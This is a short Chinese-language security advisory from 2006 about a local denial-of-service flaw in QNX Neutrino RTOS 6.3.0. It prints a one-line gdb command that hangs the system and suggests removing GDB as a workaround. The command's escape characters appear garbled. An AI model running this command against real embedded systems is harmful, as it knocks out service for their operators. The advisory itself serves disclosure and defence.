QNX RTOS 6.3.0本地拒绝服务漏洞

发布日期：2006-02-07
更新日期：2006-02-07

受影响系统：

QNX Neutrino RTOS 6.3.0

不受影响系统：

QNX Neutrino RTOS 6.0

描述：

QNX Neutrino RTOS是嵌入系统中所使用的实时操作系统。

QNX Neutrino RTOS实现上存在拒绝服务漏洞，本地攻击者可以利用调试器触发此漏洞导致系统失去响应。

本地攻击者可以通过执行以下命令：

  echo -e "break *0xb032d59fnrncontncont" | gdb gdb

导致操作系统变得没有响应挂起。

建议：

临时解决方法：

* 从受影响系统中删除GNU调试器（GDB）

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：http://www.qnx.com/